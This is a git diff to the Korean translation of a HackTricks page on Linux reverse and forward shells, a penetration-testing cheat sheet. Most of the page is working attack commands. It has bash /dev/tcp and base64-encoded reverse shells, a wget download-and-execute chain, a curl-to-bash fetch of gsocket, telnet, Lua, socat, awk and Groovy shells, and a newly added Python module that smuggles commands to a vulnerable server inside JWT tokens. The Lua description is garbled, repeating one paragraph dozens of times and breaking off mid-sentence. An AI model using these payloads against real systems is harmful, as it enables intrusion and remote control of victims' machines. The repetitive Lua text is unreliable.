diff --git a/generic-methodologies-and-resources/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md index 32c4df73f..9741b7613 100644 --- a/generic-methodologies-and-resources/shells/linux.md +++ b/generic-methodologies-and-resources/shells/linux.md @@ -6,11 +6,11 @@ HackTricks를 지원하는 다른 방법: -* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! +* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** -* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.** +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃헙 레포지토리에 제출**하세요. @@ -35,7 +35,7 @@ exec >&0 ``` ### 심볼 안전 쉘 -다른 쉘들(sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, 그리고 bash)도 확인하는 것을 잊지 마세요. +다른 쉘들과 함께 확인하는 것을 잊지 마세요: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, 그리고 bash. ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -47,29 +47,61 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc #### 쉘 설명 1. **`bash -i`**: 이 명령어 부분은 대화형(`-i`) Bash 쉘을 시작합니다. -2. **`>&`**: 이 명령어 부분은 **표준 출력(`stdout`)과 표준 에러(`stderr`)를 동일한 대상으로 리다이렉팅**하는 약식 표기법입니다. +2. **`>&`**: 이 명령어 부분은 **표준 출력(`stdout`)과 표준 에러(`stderr`)를 동일한 대상으로 리다이렉트**하는 약식 표기법입니다. 3. **`/dev/tcp/<공격자-IP>/<포트>`**: 이는 지정된 IP 주소와 포트로의 TCP 연결을 나타내는 특수 파일입니다. -* **출력 및 에러 스트림을 이 파일로 리다이렉팅**함으로써, 해당 명령어는 대화형 쉘 세션의 출력을 공격자의 기기로 전송합니다. -4. **`0>&1`**: 이 명령어 부분은 **표준 입력(`stdin`)을 표준 출력(`stdout`)과 동일한 대상으로 리다이렉팅**합니다. +* **출력 및 에러 스트림을 이 파일로 리다이렉트**함으로써, 해당 명령어는 대화형 쉘 세션의 출력을 공격자의 기기로 전송합니다. +4. **`0>&1`**: 이 명령어 부분은 **표준 입력(`stdin`)을 표준 출력(`stdout`)과 동일한 대상으로 리다이렉트**합니다. ### 파일 생성 및 실행 ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` -## 전방 쉘 +## 포워드 쉘 -만약 Linux 기반 웹 애플리케이션에서 **RCE 취약점**을 만나게 되면, Iptables 규칙이나 다른 필터의 존재로 인해 **역쉘 획득이 어려워질 수 있는** 경우가 있습니다. 이러한 시나리오에서는 파이프를 사용하여 침해된 시스템 내에서 PTY 쉘을 생성하는 것을 고려해보세요. +리눅스 기반 웹 애플리케이션 내 **원격 코드 실행 (RCE)** 취약점을 다룰 때, 역순 쉘을 획득하는 것은 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해를 받을 수 있습니다. 이러한 제약된 환경에서는 대안적인 접근 방식으로 PTY (의사 터미널) 쉘을 설정하여 침해당한 시스템과 보다 효과적으로 상호 작용할 수 있습니다. -코드는 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)에서 찾을 수 있습니다. +이러한 목적으로 권장되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)이며, 이 도구는 대상 환경과의 상호 작용을 간편하게 만들어 줍니다. + +toboggan을 효과적으로 활용하기 위해 대상 시스템의 RCE 컨텍스트에 맞는 Python 모듈을 생성합니다. 예를 들어, `nix.py`라는 모듈은 다음과 같이 구성될 수 있습니다: +```python3 +import jwt +import httpx + +def execute(command: str, timeout: float = None) -> str: +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) + +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) + +# Check if the request was successful +response.raise_for_status() + +return response.text +``` +그런 다음, 다음을 실행할 수 있습니다: +```shell +toboggan -m nix.py -i +``` +직접적으로 상호작용하는 쉘을 활용하려면, Burpsuite 통합을 위해 `-b`를 추가하고 더 기본적인 rce 래퍼를 위해 `-i`를 제거할 수 있습니다. + +또 다른 가능성은 `IppSec`의 포워드 쉘 구현을 사용하는 것입니다 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). 다음을 수정하면 됩니다: * 취약한 호스트의 URL -* 페이로드의 접두사 및 접미사 (있는 경우) +* 페이로드의 접두사와 접미사 (있는 경우) * 페이로드가 전송되는 방식 (헤더? 데이터? 추가 정보?) -그런 다음, **명령을 보내거나** 심지어 **`upgrade` 명령을 사용하여** 완전한 PTY를 얻을 수 있습니다 (파이프는 약 1.3초의 지연으로 읽고 쓰입니다). +그런 다음, **명령을 보내거나** 심지어 **`upgrade` 명령을 사용하여 완전한 PTY를 얻을 수 있습니다** (파이프는 약 1.3초의 지연으로 읽고 쓰입니다). ## Netcat ```bash @@ -87,7 +119,7 @@ bash -c "$(curl -fsSL gsocket.io/x)" ``` ## Telnet -Telnet은 네트워크를 통해 다른 컴퓨터에 로그인하고 명령을 실행하는 데 사용되는 프로토콜입니다. Telnet을 사용하면 원격 시스템에 액세스하여 파일을 전송하거나 관리 작업을 수행할 수 있습니다. Telnet은 보안상의 이유로 SSH로 대체되는 것이 권장됩니다. +Telnet은 네트워크를 통해 다른 컴퓨터에 로그인하고 명령을 실행하는 데 사용되는 프로토콜입니다. Telnet을 사용하면 원격 시스템에 쉽게 액세스할 수 있지만 보안상 취약점이 있을 수 있습니다. Telnet은 암호화되지 않은 텍스트 통신을 사용하므로 중간에서 가로채기가 가능합니다. ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f @@ -157,7 +189,7 @@ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp"," ``` ## Lua -Lua는 브라질에서 개발된 경량 스크립팅 언어입니다. C로 작성된 Lua는 임베디드 시스템 및 게임 개발에 널리 사용됩니다. Lua는 간결하고 빠르며 확장 가능한 특징을 가지고 있습니다. Lua는 스크립트 언어로 사용되며 C 코드에 쉽게 통합될 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며 다양한 운영 체제에서 지원됩니다. Lua는 사용자 정의 데이터 타입 및 메타테이블을 지원하여 동적인 프로그래밍을 할 수 있습니다. Lua는 강력한 문자열 처리 기능을 제공하며 테이블을 사용하여 데이터를 구조화할 수 있습니다. Lua는 또한 함수형 프로그래밍을 지원하며 익명 함수 및 클로저를 사용할 수 있습니다. Lua는 다른 언어와의 통합을 쉽게 할 수 있도록 C API를 제공합니다. Lua는 빠르고 가볍기 때문에 다양한 응용 프로그램에서 스크립팅 언어로 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 다른 언어와의 통합을 쉽게 할 수 있습니다. Lua는 다양한 분야에서 사용되며 커뮤니티에 의해 지속적으로 발전하고 있습니다. Lua는 간결하고 확장 가능한 스크립팅 언어로 다양한 응용 분야에서 사용됩니다. Lua는 사용자 정의 가능한 구문 분석기를 통해 다양한 도메인에 적합한 언어로 확장될 수 있습니다. Lua는 다른 언어와의 상호 운용성을 강조하며 +Lua는 브라질의 PUC-Rio 대학에서 개발된 경량 스크립팅 언어입니다. Lua는 임베디드 시스템 및 게임 개발에서 널리 사용되며, C로 구현되어 다른 언어와의 통합이 용이합니다. Lua는 간결하고 빠르며 확장 가능한 특징을 가지고 있습니다. Lua는 스크립트 언어로 사용되지만, 함수형 프로그래밍 및 객체지향 프로그래밍 스타일을 모두 지원합니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 운영 체제 및 하드웨어에서 사용할 수 있습니다. Lua는 사용하기 쉽고 배우기 쉬운 언어로 평가받고 있습니다. Lua는 다른 언어와의 통합이 용이하며, C API를 통해 다른 언어와의 상호 작용이 가능합니다. Lua는 다양한 분야에서 사용되며, 특히 게임 개발 및 임베디드 시스템에서 널리 사용됩니다. Lua는 빠르고 가볍기 때문에 리소스가 제한된 환경에서도 잘 작동합니다. Lua는 다른 언어와의 통합이 용이하며, 다른 언어로 작성된 코드를 호출하거나 다른 언어에서 Lua 코드를 호출할 수 있습니다. Lua는 다양한 용도로 활용되며, 스크립팅 언어로서의 유연성과 강력함을 갖추고 있습니다. Lua는 다양한 라이브러리와 확장 기능을 제공하여 다양한 응용 프로그램을 개발할 수 있습니다. Lua는 다른 언어와의 통합이 용이하며, 다른 언어로 작성된 코드를 호출하거나 다른 언어에서 Lua 코드를 호출할 수 있습니다. Lua는 다양한 용도로 활용되며, 스크립팅 언어로서의 유연성과 강력함을 갖추고 있습니다. Lua는 다양한 라이브러리와 확장 기능을 제공하여 다양한 응용 프로그램을 개발할 수 있습니다. Lua는 다양한 용도로 활용되며, 스크립팅 언어로서의 유연성과 강력함을 갖추고 있습니다. Lua는 다양한 라이브러리와 확장 기능을 제공하여 다양한 응용 프로그램을 개발할 수 있습니다. Lua는 다양한 용도로 활용되며, 스크립팅 언어로서의 유연성과 강력함을 갖추고 있습니다. Lua는 다양한 라이브러리와 확장 기능을 제공하여 다양한 응용 프로그램을 개발할 수 있습니다. Lua는 다양한 용도로 활용되며, 스크립팅 언어로서의 유연성과 강력함을 갖추고 있습니다. Lua는 다양한 라이브러리와 확장 기능을 제공하여 다양한 응용 프로그램을 개발할 수 있습니다. Lua는 다양한 용도로 활용되며, 스크립팅 언어로서의 유연성과 강력함을 갖추고 있습니다. Lua는 다양한 라이브러리와 확장 기능을 제공하여 다양한 응용 프로그램을 개발할 수 있습니다. Lua는 다양한 ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" @@ -165,8 +197,6 @@ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','123 lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ## NodeJS - -## 노드JS ```javascript (function(){ var net = require("net"), @@ -240,10 +270,12 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ## Awk + +Awk은 텍스트 및 데이터 처리에 사용되는 강력한 프로그래밍 언어입니다. Awk는 특히 행 단위로 작동하며, 각 행을 필드로 분할하여 처리할 수 있습니다. Awk는 Linux 시스템에서 자주 사용되며, 스크립트 언어로 사용되어 다양한 작업을 자동화하는 데 유용합니다. ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` -## Finger +## 손가락 **공격자** ```bash @@ -284,11 +316,11 @@ close(Service) ``` ## Xterm -이 명령은 포트 6001에서 시스템에 연결을 시도합니다: +이것은 포트 6001에서 시스템에 연결을 시도할 것입니다: ```bash xterm -display 10.0.0.1:1 ``` -역쉘을 잡기 위해 (포트 6001에서 수신 대기할 것입니다): +리버스 쉘을 잡기 위해 다음을 사용할 수 있습니다 (포트 6001에서 수신 대기): ```bash # Authorize host xhost +targetip @@ -297,7 +329,7 @@ Xnest :1 ``` ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 참고: Java 역쉘도 Groovy에서 작동합니다. +[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)에 의해 작성됨. 참고: Java 역쉘은 Groovy에서도 작동합니다. ```bash String host="localhost"; int port=8044; @@ -317,10 +349,10 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new HackTricks를 지원하는 다른 방법: -* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** -* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유하세요.** +* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.